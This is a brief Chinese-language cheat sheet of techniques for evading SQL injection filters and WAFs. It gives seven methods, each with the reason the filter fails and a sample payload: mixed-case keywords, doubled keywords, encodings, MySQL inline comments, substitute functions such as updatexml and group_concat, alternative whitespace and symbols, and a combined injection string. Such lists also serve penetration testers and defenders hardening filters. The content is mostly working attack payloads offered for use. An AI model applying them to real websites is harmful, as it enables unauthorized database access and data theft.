1. 大小写混合
原因:服务器端检测时未开启大小写不敏感 形式:UnIon SeLecT
2. 多重关键字
原因:服务器端检测到敏感字符时替换为空 形式:ununionion selselectect
3. 编码
原因:服务器端未检测或检测不严具有编码形式的关键字 类型:十六进制编码、URL编码、Unicode编码 形式:0x61646d696e、%20、%u0020
4. 注释
原因:服务器端未检测或检测不严注释内的字符串 形式:/**/,/*!*/,/*!12345*/,#,-- -等
5. 等价函数或命令
原因:服务器端黑名单不完整,过滤不严 形式: Mysql查询:Union distinct、updatexml、Extractvalue、floor 字符串截取函数:mid、substr、substring、left、reverse 字符串连接函数:concat、group_concat、concat_ws 字符串转换:char、hex、unhex 替换逗号:limit 1 offset 0,mid(version() from 1 for 1) 替换等号:like
6. 特殊符号
原因:数据库中效果相同,服务器端却没有限制 形式: 科学记数法 and 1e0 = 1e0 空白字符 %0a %a0 %0b %20 %09 反单引号 `table_name` 括号 select * from (test.admin)
7. 组合绕过
原因:服务器端检测多处位置,需要多重绕过方式组合使用 形式:id = 1’ and/**/’1’like’2’/**//*!12345union*/select 1,2,3